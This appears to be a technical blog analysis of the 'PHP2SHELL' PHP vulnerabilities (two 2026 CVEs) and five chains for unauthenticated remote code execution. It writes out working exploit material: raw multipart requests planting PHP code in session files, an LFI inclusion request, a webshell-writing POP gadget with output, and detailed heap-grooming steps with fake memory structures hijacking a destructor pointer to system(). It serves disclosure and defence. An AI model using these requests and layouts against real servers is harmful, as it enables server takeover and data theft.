Skip to content

PHP2SHELL : The 4 Bugs of the Apocalypse

Two CVEs that combine to provide several RCE vectors create a wave we will call PHP2SHELL, and whose consequences are only beginning.

The disclosure

The discovery is attributed to Wiz, OpenAI and Calif, who announce on October 20, 2026 a coordinated disclosure the next day at 2 PM, finally moved up to 1:34 PM because exploitation had already been detected (exploitation videos had already leaked). On the morning of the 21st, Chainguard released its patched images six hours before the official time, which made it easy to reverse the fixes to find the vulnerabilities and vibe code exploits.

According to Wiz, "70% of the Internet" would be exposed, to be understood as the share of sites running PHP, not the share actually exploitable. The tool would target major software in recent versions.

We will see if it is really that bad.

Context

The problematic functionality

When you upload a file through a multipart form:

     <form action="index.php" method="post" enctype="multipart/form-data">
            Name: <input type="text" name="imageName" />
            Image: <input type="file" name="image" />
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="upload">
            <input type="submit" value="submit" />
        </form>
The form above posts a hidden field named "upload".

<?php
// During the upload, an AJAX request queries this page to show a progress bar:
session_start();
$key  = ini_get('session.upload_progress.prefix') . 'upload';
$info = $_SESSION[$key] ?? null;
if ($info) {
    printf("%d / %d bytes\n", $info['bytes_processed'], $info['content_length']);
}

So PHP can track the upload progress in the session (option session.upload_progress.enabled, enabled by default). For each form field the MULTIPART_EVENT_FORMDATA event fires, and PHP stores metadata about the ongoing upload in $_SESSION.

The bugs tied to this feature are present in the session upload progress handler (ext/session/session.c), and in the deserializer (ext/standard/var_unserializer.re).

mod_php VS PHP-FPM

There are two ways to install PHP :

  • mod_php Apache : is a web server. At first, it did not know how to run PHP. So an Apache module called mod_php was created. It's a library (libphp.so) that Apache loads into its own process. So when Apache receives a .php request, it runs the PHP code directly in the Apache process. There is no boundary between Apache and PHP. It is the same process, the same memory, the same heap.

  • PHP-FPM (FastCGI Process Manager) : a PHP process manager that speaks FastCGI. Apache (or Nginx) no longer runs PHP. It only does HTTP, and when it receives a .php request, it passes it to another separate program. So we have two processes (very important for the exploitation part).

The 4 bugs

1: The handler accepts a PHPSESSID in the POST without checking use_only_cookies.

session.use_only_cookies (enabled by default) tells PHP to read the session ID only from the cookie, never from a GET/POST parameter. It is a basic protection against session fixation (an attack where you fix a predictable session ID on the victim by making them click the link containing the ID chosen by the attacker).

The multipart handler, though, still reads PHPSESSID in the POST body:

// ext/session/session.c, php_session_rfc1867_callback() (php-src, PHP-8.3 branch)

case MULTIPART_EVENT_FORMDATA:
    // if a POST field carries the session name
    if (name_len == progress->sname_len && memcmp(data->name, PS(session_name), name_len) == 0) {
        zval_ptr_dtor(&progress->sid);

        // its value becomes the session ID
        ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
    }

So the attacker chooses the session ID. And since the file-based session handler stores each session in sess_<SID> under session.save_path, choosing the SID amounts to choosing the name of the session file created on disk.

This bug allows nothing on its own but will make it easier to chain the other bugs into a concrete vulnerability.

2: The uploaded file name is stored raw in the session.

The file name (which will be written in the session file) comes from the request header, so it is entirely controlled by the attacker. The code stores it as is without escaping:

// ext/session/session.c, MULTIPART_EVENT_FILE_START (php-src, PHP-8.3 branch)

array_init(&progress->current_file);
add_assoc_string_ex(&progress->current_file, "field_name", ..., data->name);

// *data->filename comes from the "Content-Disposition" header and is stored as is:
add_assoc_string_ex(&progress->current_file, "name", sizeof("name") - 1, *data->filename);

The PHPSESSID field in the body forces the session ID (bug 1). The PHP_SESSION_UPLOAD_PROGRESS field enables upload tracking, which stores the file metadata in the session. And the arbitrary filename ends up raw in sess_SID_CHOSEN_BY_THE_ATTACKER (bug 2).

So we write whatever we want in the session file.

Bugs 1 + 2 give a primitive for writing arbitrary content into a file whose name we know. Concretely, an upload request that sets the SID and puts the payload in the filename.

A multipart/form-data POST is a sequence of blocks separated by the boundary (the boundary declared in the header). Each block has a Content-Disposition that names it, an empty line, then its value. Here, three blocks:

POST /randompage.php HTTP/1.1
Host: victim
Content-Type: multipart/form-data; boundary=B

--B
Content-Disposition: form-data; name="PHPSESSID"

aaaaaaaaaaaa
--B
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
--B
Content-Disposition: form-data; name="f"; filename="<?php system('id'); ?>"
Content-Type: application/octet-stream

randomcontent
--B--
  1. PHPSESSID = aaaaaaaaaaaa: forces the session ID (bug 1). So the file written will be sess_aaaaaaaaaaaa.
  2. PHP_SESSION_UPLOAD_PROGRESS = x: this is the trigger. Its mere presence enables upload tracking, so the writing of metadata into the session.
  3. f: the real file field. It is not the file content that matters but its filename: <?php system('id'); ?>. That is what ends up raw in the session (bug 2).

Result: sess_aaaaaaaaaaaa contains the PHP tag ready to be executed.

3: PS(serializer) is not reset at the end of the request.

Here it will impact PHP-FPM (see context section). Instead of restarting an interpreter for each request, FPM keeps a pool of persistent processes (workers), and each worker handles thousands of requests in a row.

session.serialize_handler chooses the encoding format of the session (the famous file we have been talking about) on disk (php, php_binary, php_serialize).

PS(serializer) is the global pointer to the active handler.

php_rshutdown_session_globals() cleans the session globals at the end of the request, but forgets PS(serializer).

So the serializer chosen at request N stays in place for request N+1 if that one does not rewrite it.

As a result, the same session file can be written with one format and read back with another. This is a serializer confusion that will be useful for one of the exploitation chains.

// ext/session/session.c, php_rshutdown_session_globals() (php-src, PHP-8.3 branch)

static void php_rshutdown_session_globals(void) {
    ...
    php_session_cleanup_filename();
    PS(session_status) = php_session_none;
    ...

    // no line resets PS(serializer) to its default value.
}

4: unserialize() triggers __destruct without setting serialize_lock.

Some engine context first, otherwise the rest is unreadable. In PHP, every value lives in a container called a zval, and objects are reference counted (refcount): as soon as the last zval that points to an object disappears, the object is freed, and it is at that exact moment that its __destruct runs. So __destruct is not called "when we want", but right at the moment the engine frees the object. Here, this moment falls during the internal cleanup of unserialize(). And "to reenter" means: a __destruct that, while running, calls unserialize() again while the first call has not finished its work.

While it parses, unserialize() builds objects and keeps internal bookkeeping (list of allocated zvals, reference table for the back-refs). BG(serialize_lock), when it is set, prevents a destructor from running in the middle of the parsing: this avoids reentering the deserializer while its state is unstable.

At the end of var_destroy() (in var_unserializer.re), each object set aside during the parsing is destroyed through i_zval_ptr_dtor without the lock being set. Destroying the object calls its __destruct. If this object (or a gadget it reaches) calls unserialize() again, we reenter the deserializer while the first call still has its buffers in a transient state: one frees a zone that the other still references, which gives a use-after-free (see my article on memory vulnerabilities).

In the end this UAF allows code execution if the necessary gadgets are present, but we will come back to it.

// ext/standard/var_unserializer.re, var_destroy() (php-src, PHP-8.3 branch)

    // called under the lock
    BG(serialize_lock)++;
    zend_call_function(&fci, &fci_cache);
    BG(serialize_lock)--;

    // called under the lock
    BG(serialize_lock)++;
    zend_call_known_instance_method_with_1_params(
        Z_OBJCE_P(zv)->__unserialize, Z_OBJ_P(zv), NULL, &param);
    BG(serialize_lock)--;

    // (line 318): triggers __destruct() without the lock
    i_zval_ptr_dtor(zv);

4 bugs grouped into two CVEs

Both are rated 9.2/10 (critical, CVSS v4.0), unauthenticated RCE:

  • CVE-2026-109618, "RCE via stale global state": bugs 1 + 2 + 3, all in ext/session/session.c.

  • CVE-2026-109619, "RCE via OOM corruption": bug 4, in ext/standard/var_unserializer.re.

The first version of this article said :

"70% of the Internet" exposed is a high estimate. It is the share of sites that run PHP. The session base is the default config, so almost everywhere, but what really filters (and may perhaps save the internet) is the second ingredient that each chain requires.

This was true on the day I published the article, but as I’m making this correction, two new exploitation chains (one on mod_php and one on PHP-FPM) have emerged requires absolutely no prerequisites. So yes, a very large part of the PHP ecosystem is potentially affected.

Chain A: the app has a local file inclusion (LFI) vulnerability

If the app does an include/require on a path we can influence, we have an LFI primitive. In this case it is enough to:

  • Set the SID (bug 1): so we know the path sess_<CONTROLLABLE_SID>.

  • We put <?php system('id'); ?> in the uploaded file name (bug 2): the PHP tag lands in the session file.

  • The LFI includes sess_<SID>: the PHP engine parses the file, executes the tag, which triggers the RCE.

After the upload, the session file looks like this, the payload is in the filename:

upload_progress_x|a:5:{...;s:8:"filename";s:22:"<?php system('id'); ?>";...}

It is enough to get it included:

GET /index.php?page=/var/lib/php/sessions/sess_SID_CHOSEN_BY_THE_ATTACKER HTTP/1.1

Chain B: the app unserializes user data

This chain does not touch sessions at all, it only uses bug 4. The precondition is that somewhere the app does an unserialize() on attacker input.

We build a serialized string that triggers the UAF: an object whose __destruct calls unserialize() again, which reenters the deserializer and frees a zone still in use. From there, classic heap exploitation (see my article on memory vulnerabilities for more detail).

First you have to make the heap predictable, in short heap grooming: we trigger a lot of allocations of a chosen size so that the slot we just freed is taken over by data we control. Then, since we corrupt memory in the C engine (and not PHP objects), it is classic memory exploitation: we aim for a function pointer hijack, even a ROP if the protections force it. POP, on the other hand, is for chain C, which stays in pure PHP (chain C)

Chain C: two directories with different serialize_handlers

This one is really case by case, the gadgets useful for the exploitation have to be present and what we can do depends on them. It abuses the serializer confusion to do object injection. Two notions first.

Object injection: forcing unserialize() to instantiate a class we name, with properties we set. It is dangerous because of the magic methods, which run automatically: __destruct on destruction, __wakeup on deserialization, __toString on conversion to a string, etc.

POP chain (Property-Oriented Programming): we do not inject our own code, we reuse classes already loaded by the app or its framework to bypass memory protections like NX (see my article on memory vulnerabilities). It is ROP but with objects, and it needs a gadget present in the code, like:

class Logger {
    public $file;
    public $data;
    public function __destruct() {
        file_put_contents($this->file, $this->data);   // the sink
    }
}

Example with a container on php 8.3:

$ php gadget.php
injected payload: O:6:"Logger":2:{s:4:"file";s:14:"/tmp/pwned.php";s:4:"data";s:28:"<?php system($_GET['c']); ?>";}
  [Logger::__destruct() wrote to /tmp/pwned.php]

$ cat /tmp/pwned.php
<?php system($_GET['c']); ?>

Instantiating Logger with these properties through unserialize() means writing the file.

Real PHPGGC chains link several objects together to reach an RCE: https://github.com/ambionics/phpggc

Chain D: mod_php only

To understand this part you really need some basics in memory vulnerability exploitation (see my article on the subject if needed).

A bit of context to understand :

PHP has its own memory manager, called Zend Memory Manager. It splits the heap into 2 MB chunks, and in each chunk it manages many small "slots". These slots are sorted by size into "bins". For example bin-80 contains all the slots of about 80 bytes.

There are internal data structures in this memory :

  • zval : a small 16-byte box that holds any PHP value.

  • zend_string : the structure that represents a string in PHP.

  • HashTable : the structure that represents a PHP array. It holds a pointer to the data, an nTableSize field, and above all a pDestructor field (a pointer that gives a function to call on each element when the array is destroyed).

pDestructor is the important point to understand chain D. In a real HashTable, pDestructor points to an internal PHP function. But if we manage to write a fake HashTable in memory, we can put anything in pDestructor. For example the address of system(). And when PHP destroys the fake HashTable, it calls system() with the argument we chose, which gives the RCE.

As a reminder, bugs 1 and 2 give us a "write-what-where" primitive (write what we want into a file whose path we know). The only weakness is that we have to include it (chain A). But bug 3 means PHP does not reset some global pointers between each HTTP request handled by the same worker process.

So the steps of the exploitation are the following :

Stage 0 : worker rotation

Each stage must be done on a fresh worker (otherwise the dirty state spoils everything). Hence a stage 0 for rotation.

We send a multipart POST request with a last field of 12 MB :

POST /index.php HTTP/1.1
Host: php2shell.htb
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: ~15 300 000
Connection: close

--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="f0000"

VVVV...V                3000 bytes of the character V
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="f0001"

VVVV...V                3000 bytes of the character V
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="f0002"

VVVV...V
...                      1001 fields f0000 <-> f1000 in total
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="PHPSESSID"

<NUL>                    a single byte 0x00
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

pwn
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="f"; filename="a.txt"
Content-Type: application/octet-stream

AAAA...A                 64 bytes of A
--SSSSSSSSSSSSSSSSS
Content-Disposition: form-data; name="big"

BBBB...B                 12 582 912 bytes, that is 12 MB
--SSSSSSSSSSSSSSSSS--

Since memory_limit=8M, PHP runs out of memory (out of memory ; OOM), Apache crashes hard and prefork forks a brand new worker (fresh ASLR, clean heap).

Stage 1 : Leaking the heap base address

Request A : we send a form with PHPSESSID=\x00 (a null byte) and a big 12 MB field. PHP crashes in the middle of handling the upload (OOM), but before crashing, it stored a pointer to the session ID in a global variable. This pointer (PS(id)) now points to a freed slot (holding just the null byte). It is a dangling pointer. And because of bug 3 this dangling pointer survives the end of the request (because, as a reminder, PS(id) is the pointer forgotten by the cleanup handler (bug 3)).

State afer request A :

PS(id) ---> [ empty (and unallocated) 80-byte slot ]

The goal of request B is to make this slot be reallocated with something we control, so that PS(id) reads our data instead of the old SID.

Request B (same worker) containing : - 1001 small fields to spray the heap - 79 bytes containing a fake zend_string structure with a len field = 0x1000 (4096). (we will see later why it is useful).

The fundamental problem is that as soon as we make a second request, all the allocations it involves will potentially use this empty memory space. Actually, Zend MM does not allocate the memory of a free slot at random, it has a list (last in, first out). So this zend_string structure, we will place it after other "decoy" data to make sure it lands on the right slot (the one PS(id) points to). This changes depending on the PHP version (for example on PHP 8.4.26 with an Apache 2.4.69 build, it is after the 841st decoy that we place our structure).

POST /index.php HTTP/1.1
Host: php2shell.htb
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: ~44 000
Connection: close

--BBBBBBBBBB
Content-Disposition: form-data; name="PHPSESSID"

attacksessionid0001
--BBBBBBBBBB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

pwn
--BBBBBBBBBB
Content-Disposition: form-data; name="1000"

v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      48 bytes
--BBBBBBBBBB
Content-Disposition: form-data; name="1001"

v0001xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      48 bytes
--BBBBBBBBBB
...                                                     841 decoy fields in total
--BBBBBBBBBB
Content-Disposition: form-data; name="1840"

v0840xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      48 bytes (last decoy)
--BBBBBBBBBB
Content-Disposition: form-data; name="1999"

<79 raw forged bytes>                             Our fake zend_string structure
--BBBBBBBBBB--

PHP, while generating the Set-Cookie: PHPSESSID=…, reads this fake zend_string that claims to be 4096 bytes (in reality almost empty). It url_encodes these 4096 bytes of heap and puts them in the session cookie. So the attacker gets the 4 KB of PHP heap that PS(id) points to.

PHP works in a way where the program points a lot to its own heap.

So in these 4 KB we look for addresses that look like heap (0x7f…), we take the most frequent one, and we align it to 2 MB (the size of a Zend MM chunk) to find the base of the chunk. The alignment does not "confirm" that the candidate is a heap pointer. It only serves to round an internal pointer (anywhere in the chunk) down to the nearest 2 MB multiple, which gives the base. What confirms that we really have a chunk is the frequency. If many distinct pointers, once aligned, fall on the same value, it means they all point to the same chunk. This leaks the base of the main chunk, that is the first chunk allocated by Zend MM at the start of the request, the one that holds most of the request's objects ($_POST, $_SESSION, the zend_string ...), which is why most of the heap pointers in the 4 KB point to it.

Stage 2 : Leaking the libphp address

For stage 3, we need the address of system() in memory. This function is present in the libphp.so library. (since ASLR randomizes the base of libphp.so at each start, we have to determine its address dynamically).

So we redo a request exactly like A, plus a second one on the same principle as request B, but we place a fake 56-byte HashTable in the slot.

This fake 56-byte HashTable is a real PHP zend_array (same fields, same offsets, same size), placed at the location X that PS(id) still points to (as for request B, we have to use decoys and their number changes depending on the PHP version). Its pDestructor field (offset 0x30) holds the real address of zval_ptr_dtor, which PHP exposes in the Set-Cookie while building the SESSION_ID.

Since we know the static offset of zval_ptr_dtor in the binary, we do :

base_libphp = leaked_address - static_offset

We now have the base of libphp where we can go and fetch our system().

Stage 3 : Fire

So we now have two addresses recoverable dynamically (ASLR bypass) :

chunk_base
libphp_base

And two constants from the profile (ASLR does not randomize the internal structure of a binary) :

htdata_offset
zif_offset

With that we can compute :

htdata = chunk_base + htdata_offset
zif    = libphp_base + zif_offset

htdata the address of a live zend_string that was allocated by PHP at the start of the request. It serves as a predictable landing zone for the payload.

zif is the absolute address of zif_system in memory (the internal PHP function that calls system()).

So the final payload consists of writing to htdata a 167-byte blob that holds three overlapping structures :

0x00–0x37 : fake HashTable (56 bytes)
              pDestructor = zif at 0x30
              arData      = htdata + 0x20 at 0x10

0x20–0x78 : fake zend_execute_data (E = htdata + 0x20)
              num_args        = 1 at E+0x2C
              args[0].value   = htdata + 0x80 at E+0x50
              args[0].type    = IS_STRING (6) at E+0x58

0x80–0x98+ : fake zend_string
              len      = length of the command at 0x90
              command at 0x98 (max 14 bytes + NUL)

Why three overlapping structures in 167 bytes ? Because PHP does not read memory with a fixed type, the same zone can be interpreted as a HashTable by one part of the engine, and as a zend_execute_data by another. This is exactly what we exploit, we prepare a zone that is valid for both readings, at different offsets. Nothing in the engine checks that the zone is really one or the other ; it reads bytes at fixed offsets :

fake HashTable : This is the structure that zend_hash_destroy will walk through when PHP destroys our fake session reference. When zend_hash_destroy walks this HashTable, it finds a bucket at arData = E, and calls pDestructor(&bucket[0].val). In other words zif_system(E).

fake zend_execute_data : This is where the overlap becomes interesting. zif_system does not receive a zval like pDestructor believes it receives E, and interprets it as a zend_execute_data, because that is what the signature of zif_system expects. So E must be a valid execute_data. The return_value field of the fake execute_data falls at the same offset as pDestructor (0x30), so we put the same value in it (zif). This is not what zif_system uses to read the command, it is just a consequence of the overlap.

fake zend_string : This is the string that zif_system will read as the argument. It starts at htdata + 0x80.

So the HashTable gives the function to call and where to look for the argument. zend_execute_data makes the argument readable by zif_system. zend_string holds the command.

Building the blob is not enough, we have to write it to htdata, and make PS(http_session_vars) point to htdata. For that, as before, we use decoy fields so that the carrier falls on the session zend_reference (the exact number depends on the PHP version).

The 11-byte carrier is what hijacks PS(http_session_vars), it overwrites the start of the zend_reference to set gc.refcount = 1 and replace the low 7 bytes of val.value with those of htdata (the high byte is already 0x00, so no need to write it ; val.type = IS_ARRAY stays unchanged). Like this PS(http_session_vars) points to our blob.

We also send the blob several times into htdata to spray and have some margin, give or take a few addresses.

If all goes well, at the request shutdown, PHP destroys PS(http_session_vars), which calls zend_hash_destroy(htdata) on our fake HashTable, which calls its pDestructor = zif_system, which reads the fake zend_string and runs system(cmd).

Chain E: PHP-FPM only + endpoint that calls session_start() (which is the case for almost all web applications)

Where D is a direct hijack. E is a two-step chain. We trigger __destruct, which calls unserialize() again, which creates a UAF, which we then have to exploit. Actually it is the same principle as in chain B, but rather than hoping the app deserializes user data, we force it by exploiting the heap memory, a bit like chain D.

As a reminder, bug 4 : when PHP deserializes a string (unserialize(), or session_start() which uses the deserializer), it normally sets an internal lock (BG(serialize_lock)) that prevents an object from calling unserialize() again while the first call is still working. This lock is set in var_unserializer.re around the zend_call_function and zend_call_known_instance_method_with_1_params calls. But at the end of var_destroy() (the function that cleans the objects created during parsing), at line 318, PHP calls i_zval_ptr_dtor(zv) without the lock. - opus 4.8

When the object is destroyed its __destruct is called. Since the lock is not set, __destruct can call unserialize() again. The deserializer is then reentered while the first call has not finished cleaning its temporary buffers. It still has pointers to zvals being freed. A second pass of the deserializer over this unstable state frees a zone that the first pass will then reuse, which produces a use-after-free.

Request A :

We use bugs 1 and 2 as in chain D and as in chain A. We choose the SID (bug 1), and we place a serialized object in the uploaded file name (bug 2). This object is in the form of a POP gadget whose __destruct holds our payload (not serialized in the example) :

class Trigger {
    public $second;
    public function __destruct() {
        unserialize($this->second);
    }
}

This payload lands in sess_ as serialized text, exactly like in chain A. The difference with A is that we will not include it via an LFI. We will make session_start() deserialize it itself.

As a reminder, bug 3 (session.serialize_handler chooses the format in which PHP writes and reads sessions back (php, php_binary, php_serialize)) means that if a request N used php_serialize, request N+1 on the same worker inherits php_serialize even if the default config is php.

So we can write the sess_ file in one format (php_serialize, for example), then read it back in another format (php), or the other way around. The file holds text that, read back by a different handler, is interpreted as object deserialization instructions

The next request (same worker) does a session_start(). PHP reads the cookie, opens sess_, and calls the deserializer, which instantiates the Trigger class from the payload. At the end of parsing, var_destroy() calls Trigger::__destruct() without the lock (bug 4). This __destruct calls unserialize() again on the second serialized string held in the second property. The deserializer is then reentered while it is still cleaning its buffers. That is the UAF. From there, we exploit as in chain B (heap grooming + function pointer hijack) to reach system().


Conclusion

Please patch ASAP <(O_o)>


Sources

  • PHP Foundation, "Today's PHP Security Release, and How We're Strengthening PHP Security" (thephp.foundation)
  • Wiz, "PHP2Shell : AI uncovers critical RCE vulnerabilities affecting 70% of the Internet" (wiz.io)
  • Technical write-ups: "RCE via stale global state" and "RCE via OOM corruption" (GitHub)
  • CERT-FR, "Multiples vulnérabilités dans PHP" (cert.cyber.gouv.fr) CERT-UE, Security Advisory 2026-018
  • PHP 8 ChangeLog (php.net)
  • https://github.com/ikow/php2shell-poc